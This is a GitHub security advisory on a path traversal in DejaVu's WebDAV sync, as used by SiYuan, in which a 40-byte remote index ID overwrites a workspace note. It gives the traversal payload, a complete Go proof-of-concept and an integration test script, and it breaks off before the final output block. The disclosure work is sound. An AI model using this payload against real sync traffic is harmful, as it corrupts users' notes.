# GHSA-24V5-VJQF-QHV9: WebDAV Sync Index Path Traversal Overwrites a Workspace Note

- Database: GitHub
- Severity: high (stated by ghsa, no CVSS score)
- Published: 2026-11-12
- Modified: 2026-11-12

## Affected versions

- github.com/siyuan-note/dejavu (Go): v0.0.0-20261027083850-4ce2f57c199f

## Description

# WebDAV Sync Index Path Traversal Overwrites a Workspace Note

## Summary

The pinned DejaVu public `Repo.SyncDownload` API accepts a 40-character traversal ID from a plaintext HTTP WebDAV response and, during a committed download merge, writes the compressed remote index over a selected file in a sibling data tree. The direct proof uses a `.sy` note path and a confined hexadecimal control. A companion integration harness at pinned SiYuan revision `d3af9d5782082b379d45a69eedf4ebcfe8ba6889` executes the production `model.syncRepoDownload` caller with configured plaintext HTTP WebDAV. Coverage and captured output show the traversal ID reaching `Repo.SyncDownload` and overwriting the selected `.sy` file with the zstd remote index; the confined hexadecimal control reaches the same call and leaves the file unchanged. No WebDAV storage write access, file read, code execution, or whole-workspace loss is demonstrated.

## Technical Details

SiYuan accepts `http://` WebDAV endpoints, creates a `cloud.NewWebDAV` provider, and passes its repository to DejaVu; `syncRepoDownload` calls the public `Repo.SyncDownload` method, and the scheduled sync job runs periodically. The target sets `DataPath` to `WorkspaceDir/data` and `RepoPath` to `WorkspaceDir/repo`, so notebook files and repository indexes are sibling trees under the workspace. [WebDAV validation and sync construction](https://github.com/siyuan-note/siyuan/blob/d3af9d5782082b379d45a69eedf4ebcfe8ba6889/kernel/model/sync.go#L734-L755), [repository setup and download call](https://github.com/siyuan-note/siyuan/blob/d3af9d5782082b379d45a69eedf4ebcfe8ba6889/kernel/model/repository.go#L2058-L2113), [DataPath and RepoPath layout](https://github.com/siyuan-note/siyuan/blob/d3af9d5782082b379d45a69eedf4ebcfe8ba6889/kernel/util/working.go#L343-L349), [scheduled sync job](https://github.com/siyuan-note/siyuan/blob/d3af9d5782082b379d45a69eedf4ebcfe8ba6889/kernel/job/cron.go#L17-L23).

In the pinned DejaVu version, `downloadCloudLatest0` trims the remote `refs/latest` body and checks that it is 40 bytes, then uses it to fetch the index; it does not require a hexadecimal ID. `Store.PutIndex` rejects only an empty ID and writes a zstd-compressed JSON index to the path returned by `Store.IndexAbsPath`, which builds `filepath.Join(store.Path, "indexes", id)` without checking that the result remains under `indexes`. With SiYuan's production sibling layout, `..//../././././data/notebook/document.sy` resolves from `WorkspaceDir/repo/indexes` to `WorkspaceDir/data/notebook/document.sy`. [Pinned DejaVu sync source](https://github.com/siyuan-note/dejavu/blob/4ce2f57c199ff925a652131f14862ceb60f0d908/sync.go), [pinned index storage source](https://github.com/siyuan-note/dejavu/blob/4ce2f57c199ff925a652131f14862ceb60f0d908/store.go).

The attacker must be able to replace plaintext HTTP responses for `refs/latest` and the referenced index. No provider credentials or sync-storage write access are needed to alter the response in transit. The direct dependency test preserves a valid index key-verifier value, matches the embedded ID to the 40-byte latest ID, and calls DejaVu's public `Repo.SyncDownload` API over an HTTP WebDAV test server. Its changed merge is produced by listing only the selected note in the remote index. The separate SiYuan caller harness configures the supported plaintext HTTP WebDAV provider and runs `model.syncRepoDownload`; coverage records one hit at `kernel/model/repository.go:2112` in both traversal and control executions. That run confirms the production download caller at the pinned revision, though it does not invoke the scheduled sync job.

## PoV

The traversal and confined control IDs are:

```text
latest/index ID: ..//../././././data/notebook/document.sy
length:          40 bytes
control ID:      aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

The traversal ID resolves to the note because `DataPath` and `RepoPath` are siblings. The WebDAV requests observed in the PoC are `/main/siyuan/repo/refs/latest` followed by `/main/siyuan/data/notebook/document.sy`; the hexadecimal control instead requests `/main/siyuan/repo/indexes/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa`.

## PoC

Save the `go.mod` and `main.go` from Appendix A into an empty directory, then run:

```sh
go mod tidy
go run . traversal
go run . control
```

The harness uses the pinned `github.com/siyuan-note/dejavu` version and a disposable workspace with `WorkspaceDir/data` and `WorkspaceDir/repo` as siblings. It calls `Repo.SyncDownload` with a real DejaVu WebDAV provider backed by an HTTP test server. The following is an abridged excerpt of the program's summary output; library timing lines are omitted.

```text
mode=traversal id="..//../././././data/notebook/document.sy" id_length=40
layout=WorkspaceDir/data and WorkspaceDir/repo are siblings
latest_get=/main/siyuan/repo/refs/latest index_get=/main/siyuan/data/notebook/document.sy
target_changed=true target_contains_remote_index=true repo_index_path_exists=false other_document_removed=true
mode=control id="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" id_length=40
layout=WorkspaceDir/data and WorkspaceDir/repo are siblings
latest_get=/main/siyuan/repo/refs/latest index_get=/main/siyuan/repo/indexes/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
target_changed=false target_contains_remote_index=false repo_index_path_exists=true other_document_removed=true
```

The direct dependency fixture lists only `notebook/document.sy`, so `SyncDownload` commits a merge and removes the second fixture note in both runs. The traversal-specific difference is that the selected note is overwritten with the zstd-compressed remote index only when the ID escapes `RepoPath/indexes`. The posted dependency PoC exercises a changed merge; it does not test whether the overwrite occurs when the merge has no delta.

The captured dependency proof used Go 1.26.5 on linux/arm64 and DejaVu `v0.0.0-20261027083850-4ce2f57c199f`. It exercises the pinned library interface.

### SiYuan caller integration

Appendix B contains the complete v4 integration test and both JSON inputs, plus commands that create every reproduction file from the appendix. Run it against the SiYuan kernel checkout at pinned revision [d3af9d5782082b379d45a69eedf4ebcfe8ba6889](https://github.com/siyuan-note/siyuan/tree/d3af9d5782082b379d45a69eedf4ebcfe8ba6889/kernel). The harness configures SiYuan's supported plaintext HTTP WebDAV provider, calls `model.syncRepoDownload`, and uses sibling data and repository trees. Its remote snapshot preserves SiYuan-generated sync files and omits the second fixture note so the merge commits.

The traversal and confined control each reach `Repo.SyncDownload` at [`kernel/model/repository.go:2112`](https://github.com/siyuan-note/siyuan/blob/d3af9d5782082b379d45a69eedf4ebcfe8ba6889/kernel/model/repository.go#L2112). The Appendix B commands check the generated coverage profile for a positive execution count on the source block containing that line. The integration confirms the production download caller at the pinned revision; it does not execute the scheduled sync job.

## Impact

The result crosses DejaVu's local index-store boundary: a remote index identifier controls a filesystem path that should remain under `RepoPath/indexes`, while the demonstrated request writes over a selected sibling `.sy` file. The caller fixture's second-note removal occurs in both traversal and control cases. The v4 integration harness confirms that SiYuan's shipped `syncRepoDownload` caller reaches this path at the pinned revision. The proof does not demonstrate arbitrary writes outside the workspace, reads, code execution, service outage, or loss of the whole workspace.

For the base vector `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N`, ISC is 0.22, impact is `6.42 × 0.22 = 1.4124`, and exploitability is `8.22 × 0.85 × 0.44 × 0.85 × 0.85 = 2.2212`. The CVSS 3.1 base score is **3.7 (Low)** after rounding up `1.4124 + 2.2212` to one decimal place. This score describes the modeled one-note integrity impact and does not claim confidentiality or availability loss.

For the stated high-integrity deployment, the environmental vector below has modified ISC 0.84 and modified impact `6.42 × 0.84 = 5.3928`. `MAV:A/MAC:L/MPR:N/MUI:N` gives modified exploitability `8.22 × 0.62 × 0.62 × 0.85 × 0.85 = 2.2829`. With `MS:U` and the `E:X/RL:X/RC:X` defaults of 1.0, the environmental score is **7.7 (High)** after rounding `5.3928 + 2.2829` up to one decimal place. This High rating is conditional on the workspace being the organization's authoritative high-integrity record store, the targeted note being its sole authoritative copy, and automatic plaintext HTTP WebDAV sync crossing an attacker-controlled adjacent access point. The caller integration confirms `syncRepoDownload` reaches the dependency path at the pinned revision; the scheduled job itself was not executed. The base rating remains Low outside that environment.

```text
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N/E:X/RL:X/RC:X/CR:X/IR:H/AR:X/MAV:A/MAC:L/MPR:N/MUI:N/MS:U/MC:X/MI:H/MA:X
```

## Suggested Fix

Reject remote index IDs unless they are exactly 40 hexadecimal characters before using them in any local path. Add a defense-in-depth containment check around index path construction and reject absolute paths, parent traversal, and any normalized result outside `RepoPath/indexes` before creating directories or writing bytes. Add a `Repo.SyncDownload` regression test using the sibling `DataPath`/`RepoPath` layout, the 40-byte traversal ID above, and the hexadecimal control; assert that neither case can modify a note outside `RepoPath/indexes`.

## Affected Package/Versions

- Package: `github.com/siyuan-note/dejavu` (Go).
- Affected version demonstrated: `v0.0.0-20261027083850-4ce2f57c199f`, pinned by the tested SiYuan snapshot.
- On 2026-11-11, SiYuan master `kernel/go.mod` declared DejaVu `v0.0.0-20261109165330-317610e0795e`. The reviewed DejaVu `sync.go` trims `refs/latest`, requires only a 40-byte length, and then uses the value to download the index; it does not require hexadecimal characters. The demonstrated 40-byte traversal ID is therefore not blocked by that validation. The reviewed `store.go` shows `PutIndex` rejects only an empty ID and `IndexAbsPath` joins the ID without confinement.
- A review of DejaVu's public commit history and merged PR #13 found no fix for production remote-ID validation or index-path confinement. PR #13 adds sync scenario tests, including download scenarios, and adds a `filepath.IsLocal` guard for traversal in the test-only `removeFile` helper. That helper guard does not change the production `Store.IndexAbsPath` path receiving remote latest IDs. These findings describe the reviewed source and public history; behavior in later revisions was not tested.
- No patched version was identified in this review. The report limits the confirmed affected range to the tested pinned version rather than inferring a broader range.

## Advisory History

The SiYuan/DejaVu advisory, issue, and repository-scoped commit checks performed on 2026-11-11 found no same-family public path-traversal report or production-path fix. The closest public report is [GHSA-7258-5hpf-xq6w, “WebDAV Sync Error Notification XSS Enables Electron Code Execution”](https://github.com/advisories/GHSA-7258-5hpf-xq6w). That report concerns attacker-controlled malformed-response text reaching HTML rendering in Electron's sync-error notification. Its fix keeps error text escaped through every formatting branch and renders sync-error messages as text or applies a strict sanitizer at the notification boundary. This report instead concerns an unconfined remote index ID writing compressed index bytes over a note in `DataPath`; the root cause, sink, and fix surface are distinct.

The local comparison covers 13 earlier reports. Eleven remain ready for review: widget sensitive-path retrieval, loopback-proxy authentication on a history route, private-asset OCR text, a workspace credential, publish-asset authorization, Reader attribute-view SQL access, login-cookie and CAPTCHA reuse, protected block references in Markdown export, disabled attribute-view asset text, publish-password validation, and pre-authentication LAN-sync metadata. “Authenticated Reader WebSocket Receives Administrator Cloud UserToken” was submitted and later closed after maintainers could not reproduce the claimed authenticated Reader impact. “WebDAV Sync Error Notification XSS Enables Electron Code Execution” was separately submitted and published as [GHSA-7258-5hpf-xq6w](https://github.com/advisories/GHSA-7258-5hpf-xq6w). There are no completed-but-unsubmitted reports in this comparison set.

## References

- [SiYuan pinned dependency version](https://github.com/siyuan-note/siyuan/blob/d3af9d5782082b379d45a69eedf4ebcfe8ba6889/kernel/go.mod#L824).
- [SiYuan pinned WebDAV configuration, workspace layout, and sync route](https://github.com/siyuan-note/siyuan/tree/d3af9d5782082b379d45a69eedf4ebcfe8ba6889/kernel).
- [Pinned DejaVu `sync.go`](https://github.com/siyuan-note/dejavu/blob/4ce2f57c199ff925a652131f14862ceb60f0d908/sync.go) and [`store.go`](https://github.com/siyuan-note/dejavu/blob/4ce2f57c199ff925a652131f14862ceb60f0d908/store.go).
- [SiYuan master dependency version checked on 2026-11-11](https://github.com/siyuan-note/siyuan/blob/master/kernel/go.mod#L77).
- [DejaVu current `downloadCloudLatest0` source](https://github.com/siyuan-note/dejavu/blob/main/sync.go#L2146-L2151), [current `PutIndex`](https://github.com/siyuan-note/dejavu/blob/main/store.go#L306-L322), [current `IndexAbsPath`](https://github.com/siyuan-note/dejavu/blob/main/store.go#L466-L469).
- [DejaVu issue search for path traversal](https://github.com/siyuan-note/dejavu/issues?q=path+traversal) and [merged PR #13 adding sync scenario tests](https://github.com/siyuan-note/dejavu/pull/13).
- [FIRST CVSS v3.1 specification](https://www.first.org/cvss/v3.1/specification-document).

## Appendix A: Complete PoC

### `go.mod`

```go
module example.com/repro

go 1.26.0

require (
	github.com/klauspost/compress v1.19.2
	github.com/siyuan-note/dejavu v0.0.0-20261027083850-4ce2f57c199f
	github.com/studio-b12/gowebdav v0.13.0
	golang.org/x/net v0.59.0
)
```

### `main.go`

```go
package main

import (
	"bytes"
	"encoding/json"
	"fmt"
	"net/http"
	"net/http/httptest"
	"os"
	"path/filepath"
	"strings"
	"sync"
	"time"

	"github.com/klauspost/compress/zstd"
	"github.com/siyuan-note/dejavu"
	"github.com/siyuan-note/dejavu/cloud"
	"github.com/siyuan-note/dejavu/entity"
	"github.com/studio-b12/gowebdav"
	webdavserver "golang.org/x/net/webdav"
)

const aesKey = "0123456789abcdef0123456789abcdef"
const targetPath = "notebook/document.sy"
const otherPath = "notebook/other.sy"

func main() {
	if len(os.Args) != 2 || (os.Args[1] != "traversal" && os.Args[1] != "control") {
		panic("usage: go run . traversal|control")
	}
	mode := os.Args[1]
	id := "..//../././././data/notebook/document.sy"
	if mode == "control" {
		id = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
	}
	if len(id) != 40 {
		panic(fmt.Sprintf("test index ID has length %d, want 40", len(id)))
	}

	root, err := os.MkdirTemp("", "repro-")
	if err != nil {
		panic(err)
	}
	defer os.RemoveAll(root)
	dataPath := filepath.Join(root, "data")
	repoPath := filepath.Join(root, "repo")
	cloudPath := filepath.Join(root, "cloud")
	for _, dir := range []string{
		filepath.Join(dataPath, "notebook"),
		filepath.Join(cloudPath, "main", "siyuan", "repo", "refs"),
		filepath.Join(cloudPath, "main", "siyuan", "repo", "indexes"),
	} {
		if err := os.MkdirAll(dir, 0755); err != nil {
			panic(err)
		}
	}
	original := []byte(`{"ID":"20260101000000-doc001","Type":"NodeDocument","Properties":{"title":"before"},"Children":[]}`)
	other := []byte(`{"ID":"20260101000000-doc002","Type":"NodeDocument","Properties":{"title":"other"},"Children":[]}`)
	targetFile := filepath.Join(dataPath, filepath.FromSlash(targetPath))
	otherFile := filepath.Join(dataPath, filepath.FromSlash(otherPath))
	if err := os.WriteFile(targetFile, original, 0644); err != nil {
		panic(err)
	}
	if err := os.WriteFile(otherFile, other, 0644); err != nil {
		panic(err)
	}

	baseHandler := &webdavserver.Handler{FileSystem: webdavserver.Dir(cloudPath), LockSystem: webdavserver.NewMemLS()}
	var mu sync.Mutex
	var latestGET, indexGET string
	var remoteIndex []byte
	server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		p := r.URL.Path
		if r.Method == http.MethodGet && strings.HasSuffix(p, "/refs/latest") {
			mu.Lock()
			latestGET = p
			mu.Unlock()
			_, _ = w.Write([]byte(id))
			return
		}
		if r.Method == http.MethodGet && (strings.Contains(p, "/indexes/") || strings.HasSuffix(p, "/data/"+targetPath)) {
			mu.Lock()
			indexGET = p
			mu.Unlock()
			_, _ = w.Write(remoteIndex)
			return
		}
		baseHandler.ServeHTTP(w, r)
	}))
	defer server.Close()
	webdav := cloud.NewWebDAV(&cloud.BaseCloud{Conf: &cloud.Conf{
		Dir: "main", RepoPath: repoPath, AvailableSize: 1 << 30,
		WebDAV: &cloud.ConfWebDAV{ConcurrentReqs: 1},
	}}, gowebdav.NewClient(server.URL, "", ""))
	repo, err := dejavu.NewRepo(dataPath, repoPath, filepath.Join(root, "history"), filepath.Join(root, "temp"),
		"device", "Device", "linux", []byte(aesKey), nil, webdav)
	if err != nil {
		panic(err)
	}
	local, err := repo.Index("initial", false, nil)
	if err != nil {
		panic(err)
	}
	if err := repo.UpdateLatestSync(local); err != nil {
		panic(err)
	}
	files, err := repo.GetFiles(local)
	if err != nil {
		panic(err)
	}
	var kept *entity.File
	for _, file := range files {
		if strings.HasSuffix(filepath.ToSlash(file.Path), targetPath) {
			kept = file
			break
		}
	}
	if kept == nil {
		panic("target document is missing from local index")
	}
	remote := *local
	remote.ID = id
	remote.Files = []string{kept.ID}
	remote.Count = 1
	remote.Size = kept.Size
	remote.Created = time.Now().UnixMilli()
	encoded, err := json.Marshal(&remote)
	if err != nil {
		panic(err)
	}
	encoder, err := zstd.NewWriter(nil)
	if err != nil {
		panic(err)
	}
	remoteIndex = encoder.EncodeAll(encoded, nil)
	encoder.Close()
	if !remote.VerifyAESKey([]byte(aesKey)) {
		panic("remote index does not pass the repository key verifier")
	}

	merge, _, syncErr := repo.SyncDownload(nil)
	mu.Lock()
	latestPath, indexPath := latestGET, indexGET
	mu.Unlock()
	if syncErr != nil || latestPath == "" || indexPath == "" || merge == nil {
		panic(fmt.Sprintf("sync failed: error=%v latest=%q index=%q", syncErr, latestPath, indexPath))
	}
	post, err := os.ReadFile(targetFile)
	if err != nil {
		panic(err)
	}
	changed := !bytes.Equal(post, original)
	containsRemoteIndex := false
	if changed {
		decoder, decErr := zstd.NewReader(nil)
		if decErr == nil {
			decoded, decodeErr := decoder.DecodeAll(post, nil)
			decoder.Close()
			if decodeErr == nil {
				var got entity.Index
				if json.Unmarshal(decoded, &got) == nil && got.ID == id {
					containsRemoteIndex = true
				}
			}
		}
	}
	indexesDir := filepath.Join(repoPath, "indexes")
	indexStorePath := filepath.Join(indexesDir, id)
	relativeIndexPath, relErr := filepath.Rel(indexesDir, indexStorePath)
	outsideIndexes := relErr != nil || relativeIndexPath == ".." || strings.HasPrefix(relativeIndexPath, ".."+string(os.PathSeparator)) || filepath.IsAbs(relativeIndexPath)
	inRepoExists := false
	if !outsideIndexes {
		_, statErr := os.Stat(indexStorePath)
		inRepoExists = statErr == nil
	}
	otherRemoved := false
	if b, readErr := os.ReadFile(otherFile); readErr == nil && bytes.Equal(b, other) {
		otherRemoved = false
	} else {
		otherRemoved = true
	}

	fmt.Printf("mode=%s id=%q id_length=%d\n", mode, id, len(id))
	fmt.Printf("layout=WorkspaceDir/data and WorkspaceDir/repo are siblings\n")
	fmt.Printf("latest_get=%s index_get=%s\n", latestPath, indexPath)
	fmt.Printf("target_changed=%t target_contains_remote_index=%t repo_index_path_exists=%t other_document_removed=%t\n",
		changed, containsRemoteIndex, inRepoExists, otherRemoved)
	if mode == "traversal" && (!changed || !containsRemoteIndex || inRepoExists) {
		panic("traversal did not overwrite the note as expected")
	}
	if mode == "control" && (changed || !inRepoExists) {
		panic("control did not remain confined as expected")
	}
}
```

## Appendix B: SiYuan caller integration reproduction

Use Go 1.26.10 and set `KERNEL` to the absolute `kernel` directory of a SiYuan checkout at revision `d3af9d5782082b379d45a69eedf4ebcfe8ba6889`. The shell block writes the full harness, both JSON fixtures, the test overlay, and coverage profiles into a temporary directory. The coverage check prints a hit only if a positive-count Go coverage block includes source line 2112 in `kernel/model/repository.go`.

```sh
set -e

if test -z "$KERNEL"; then
  echo 'Set KERNEL to the absolute kernel directory of the pinned SiYuan checkout.' >&2
  exit 2
fi
test -f "$KERNEL/go.mod"
test -f "$KERNEL/model/repository.go"

WORK=$(mktemp -d)
trap 'rm -rf "$WORK"' EXIT

cat >"$WORK/caller_sync_integration_test.go" <<'GO'
package model

import (
	"bytes"
	"encoding/json"
	"fmt"
	"net/http"
	"net/http/httptest"
	"os"
	"path/filepath"
	"strings"
	"sync"
	"testing"
	"time"

	"github.com/klauspost/compress/zstd"
	"github.com/siyuan-note/dejavu/entity"
	"github.com/siyuan-note/siyuan/kernel/conf"
	"github.com/siyuan-note/siyuan/kernel/sql"
	"github.com/siyuan-note/siyuan/kernel/util"
	"golang.org/x/net/webdav"
)

func TestSyncRepoDownloadCallerIntegration(t *testing.T) {
	var inputPath string
	for _, arg := range os.Args {
		if strings.HasSuffix(arg, ".json") {
			inputPath = arg
		}
	}
	if inputPath == "" {
		t.Fatal("pass a traversal or control input JSON after -args")
	}
	inputBytes, err := os.ReadFile(inputPath)
	if err != nil {
		t.Fatal(err)
	}
	var input struct {
		Mode     string `json:"mode"`
		LatestID string `json:"latest_id"`
	}
	if err = json.Unmarshal(inputBytes, &input); err != nil {
		t.Fatal(err)
	}
	if len(input.LatestID) != 40 || (input.Mode != "traversal" && input.Mode != "control") {
		t.Fatalf("unexpected test case: mode=%q id=%q length=%d", input.Mode, input.LatestID, len(input.LatestID))
	}

	notebookArchiveTestWorkspace(t)
	Conf.System.Store(conf.NewSystem())
	Conf.Repo.Store(conf.NewRepo())
	oldDBPath, oldBlockTreeDBPath, oldHistoryDBPath, oldAssetContentDBPath := util.DBPath, util.BlockTreeDBPath, util.HistoryDBPath, util.AssetContentDBPath
	oldQueueDir := util.QueueDir
	oldStatusBar := util.StatusBarCfg.Load()
	t.Cleanup(func() {
		util.DBPath, util.BlockTreeDBPath, util.HistoryDBPath, util.AssetContentDBPath = oldDBPath, oldBlockTreeDBPath, oldHistoryDBPath, oldAssetContentDBPath
		util.QueueDir = oldQueueDir
		util.StatusBarCfg.Store(oldStatusBar)
	})
	util.QueueDir = filepath.Join(util.TempDir, "queue")
	util.DBPath = filepath.Join(util.TempDir, "siyuan.db")
	util.BlockTreeDBPath = filepath.Join(util.TempDir, "blocktree.db")
	util.HistoryDBPath = filepath.Join(util.TempDir, "history.db")
	util.AssetContentDBPath = filepath.Join(util.TempDir, "asset_content.db")
	if err = os.MkdirAll(util.RepoDir, 0755); err != nil {
		t.Fatal(err)
	}
	sql.InitDatabase(true)
	sql.InitHistoryDatabase(true)
	sql.InitAssetContentDatabase(true)
	t.Cleanup(sql.CloseDatabase)
	util.StatusBarCfg.Store(&util.StatusBar{MsgDataSyncDisabled: true})

	key := []byte("0123456789abcdef0123456789abcdef")
	Conf.Repo.Load().Key = key
	Conf.System.Load().ID = "sync-integration"
	Conf.System.Load().Name = "sync-integration"
	Conf.System.Load().OS = "linux"
	Conf.Sync.Load().AssetDownloadMode = 0
	Conf.Sync.Load().Mode = 1

	const targetPath = "notebook/document.sy"
	const otherPath = "notebook/other.sy"
	original := []byte("{\"ID\":\"20260101000000-doc001\",\"Spec\":\"2\",\"Type\":\"NodeDocument\",\"Properties\":{\"title\":\"before\"},\"Children\":[]}")
	other := []byte("{\"ID\":\"20260101000000-doc002\",\"Spec\":\"2\",\"Type\":\"NodeDocument\",\"Properties\":{\"title\":\"other\"},\"Children\":[]}")
	for name, data := range map[string][]byte{targetPath: original, otherPath: other} {
		path := filepath.Join(util.DataDir, filepath.FromSlash(name))
		if err = os.MkdirAll(filepath.Dir(path), 0755); err != nil {
			t.Fatal(err)
		}
		if err = os.WriteFile(path, data, 0644); err != nil {
			t.Fatal(err)
		}
	}

	remoteRoot := t.TempDir()
	dav := &webdav.Handler{FileSystem: webdav.Dir(remoteRoot), LockSystem: webdav.NewMemLS()}
	var mu sync.Mutex
	var latestGET, indexGET string
	var remoteIndexBytes []byte
	server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		if r.Method == http.MethodGet && strings.HasSuffix(r.URL.Path, "/refs/latest") {
			mu.Lock()
			latestGET = r.URL.Path
			mu.Unlock()
			_, _ = w.Write([]byte(input.LatestID))
			return
		}
		if r.Method == http.MethodGet && (strings.Contains(r.URL.Path, "/indexes/") || strings.HasSuffix(r.URL.Path, "/data/"+targetPath)) {
			mu.Lock()
			indexGET = r.URL.Path
			payload := append([]byte(nil), remoteIndexBytes...)
			mu.Unlock()
			_, _ = w.Write(payload)
			return
		}
		dav.ServeHTTP(w, r)
	}))
	t.Cleanup(server.Close)
	if !strings.HasPrefix(server.URL, "http://") {
		t.Fatalf("expected supported plaintext HTTP test endpoint, got %q", server.URL)
	}
	if err = SetSyncProviderWebDAV(&conf.WebDAV{Endpoint: server.URL, Timeout: 5, ConcurrentReqs: 1}); err != nil {
		t.Fatalf("SiYuan rejected its plaintext HTTP WebDAV endpoint: %v", err)
	}
	Conf.Sync.Load().Provider = conf.ProviderWebDAV
	Conf.Sync.Load().CloudName = "main"
	Conf.Sync.Load().Enabled = true
	if err = validateSyncWebDAV(Conf.Sync.Load().WebDAV); err != nil {
		t.Fatalf("configured endpoint did not pass SiYuan WebDAV validation: %v", err)
	}

	repo, err := newRepository()
	if err != nil {
		t.Fatal(err)
	}
	getPetals()
	localIndex, err := repo.Index("integration fixture", false, nil)
	if err != nil {
		t.Fatal(err)
	}
	if err = repo.UpdateLatestSync(localIndex); err != nil {
		t.Fatal(err)
	}
	files, err := repo.GetFiles(localIndex)
	if err != nil {
		t.Fatal(err)
	}
	var selectedID string
	for _, file := range files {
		if strings.HasSuffix(filepath.ToSlash(file.Path), targetPath) {
			selectedID = file.ID
			break
		}
	}
	if selectedID == "" {
		t.Fatal("selected note is missing from the local index")
	}
	remoteIndex := *localIndex
	remoteIndex.ID = input.LatestID
	remoteIndex.Files = nil
	remoteIndex.Size = 0
	for _, file := range files {
		if strings.HasSuffix(filepath.ToSlash(file.Path), otherPath) {
			continue
		}
		remoteIndex.Files = append(remoteIndex.Files, file.ID)
		remoteIndex.Size += file.Size
	}
	remoteIndex.Count = len(remoteIndex.Files)
	remoteIndex.Created = time.Now().UnixMilli()
	indexJSON, err := json.Marshal(&remoteIndex)
	if err != nil {
		t.Fatal(err)
	}
	encoder, err := zstd.NewWriter(nil)
	if err != nil {
		t.Fatal(err)
	}
	remoteIndexBytes = encoder.EncodeAll(indexJSON, nil)
	encoder.Close()
	if !remoteIndex.VerifyAESKey(Conf.Repo.Load().Key) {
		t.Fatal("remote index failed the repository key verifier")
	}

	if filepath.Dir(util.DataDir) != filepath.Dir(util.RepoDir) {
		t.Fatalf("test layout does not match SiYuan production siblings: data=%q repo=%q", util.DataDir, util.RepoDir)
	}
	lockSync()
	syncErr := syncRepoDownload()
	unlockSync()
	if syncErr != nil {
		t.Fatalf("syncRepoDownload failed: %v", syncErr)
	}
	mu.Lock()
	latestPath, indexPath := latestGET, indexGET
	mu.Unlock()
	if latestPath == "" || indexPath == "" {
		t.Fatalf("configured WebDAV provider did not fetch the latest index: latest=%q index=%q", latestPath, indexPath)
	}

	targetFile := filepath.Join(util.DataDir, filepath.FromSlash(targetPath))
	post, err := os.ReadFile(targetFile)
	if err != nil {
		t.Fatal(err)
	}
	changed := !bytes.Equal(post, original)
	containsRemoteIndex := false
	if changed {
		decoder, decodeErr := zstd.NewReader(nil)
		if decodeErr == nil {
			decoded, decodeErr := decoder.DecodeAll(post, nil)
			decoder.Close()
			if decodeErr == nil {
				var got entity.Index
				if json.Unmarshal(decoded, &got) == nil && got.ID == input.LatestID {
					for _, fileID := range got.Files {
						if fileID == selectedID {
							containsRemoteIndex = true
							break
						}
					}
				}
			}
		}
	}
	indexesDir := filepath.Join(util.RepoDir, "indexes")
	repoIndexPath := filepath.Join(indexesDir, input.LatestID)
	relativeIndexPath, relErr := filepath.Rel(indexesDir, repoIndexPath)
	outsideIndexes := relErr != nil || relativeIndexPath == ".." || strings.HasPrefix(relativeIndexPath, ".."+string(os.PathSeparator)) || filepath.IsAbs(relativeIndexPath)
	repoIndexExists := false
	if !outsideIndexes {
		_, repoIndexErr := os.Stat(repoIndexPath)
		repoIndexExists = repoIndexErr == nil
	}
	if input.Mode == "traversal" && (!changed || !containsRemoteIndex || !strings.HasSuffix(indexPath, "/data/"+targetPath) || repoIndexExists) {
		t.Fatalf("traversal did not overwrite selected note through Repo.SyncDownload: changed=%t index_get=%q remote_index=%t repo_index_exists=%t", changed, indexPath, containsRemoteIndex, repoIndexExists)
	}
	if input.Mode == "control" && (changed || !strings.Contains(indexPath, "/repo/indexes/") || !repoIndexExists) {
		t.Fatalf("confined hexadecimal control changed the selected note or escaped the index tree: changed=%t index_get=%q repo_index_exists=%t", changed, indexPath, repoIndexExists)
	}
	fmt.Printf("mode=%s id=%q id_length=%d\n", input.Mode, input.LatestID, len(input.LatestID))
	fmt.Printf("endpoint=http:// supported=true data_repo_siblings=true\n")
	fmt.Printf("caller=kernel/model/repository.go::syncRepoDownload -> Repo.SyncDownload\n")
	fmt.Printf("latest_get=%s index_get=%s\n", latestPath, indexPath)
	fmt.Printf("selected_note_changed=%t selected_note_contains_zstd_remote_index=%t repo_index_exists=%t\n", changed, containsRemoteIndex, repoIndexExists)
}
GO

cat >"$WORK/traversal.json" <<'JSON'
{"mode":"traversal","latest_id":"../../././././/data/notebook/document.sy","keep_files":["notebook/document.sy"]}
JSON

cat >"$WORK/control.json" <<'JSON'
{"mode":"control","latest_id":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","keep_files":["notebook/document.sy"]}
JSON

python3 - "$KERNEL" "$WORK/caller_sync_integration_test.go" "$WORK/overlay.json" <<'PY'
import json
import sys
from pathlib import Path

kernel, source, overlay = sys.argv[1:]
target = Path(kernel).resolve() / "model" / "caller_sync_integration_test.go"
Path(overlay).write_text(json.dumps({"Replace": {str(target): str(Path(source).resolve())}}))
PY

check_caller_coverage() {
  awk -v target=2112 '
    /^mode:/ { next }
    {
      split($1, file_and_span, ":")
      suffix = "kernel/model/repository.go"
      file = file_and_span[1]
      if (substr(file, length(file) - length(suffix) + 1) != suffix) next
      split(file_and_span[2], positions, "[,]")
      split(positions[1], start, "[.]")
      split(positions[2], finish, "[.]")
      if (start[1] + 0 <= target && finish[1] + 0 >= target && $3 + 0 > 0) {
        hit = 1
        if ($3 + 0 > hit_count) hit_count = $3 + 0
      }
    }
    END {
      if (hit) {
        printf "coverage_hit=kernel/model/repository.go:%d count=%d", target, hit_count
        print ""
      } else {
        print "coverage_miss=kernel/model/repository.go:2112"
        exit 1
      }
    }
  ' "$1"
}

go -C "$KERNEL" test -tags=fts5,sqlite_fts5 -v -run '^TestSyncRepoDownloadCallerIntegration$' -count=1 -coverprofile="$WORK/traversal.cover" -overlay="$WORK/overlay.json" ./model -args "$WORK/traversal.json"
check_caller_coverage "$WORK/traversal.cover"

go -C "$KERNEL" test -tags=fts5,sqlite_fts5 -v -run '^TestSyncRepoDownloadCallerIntegration$' -count=1 -coverprofile="$WORK/control.cover" -overlay="$WORK/overlay.json" ./model -args "$WORK/control.json"
check_caller_coverage "$WORK/control.cover"
```

The program summary and coverage checks for the two runs are:

```text
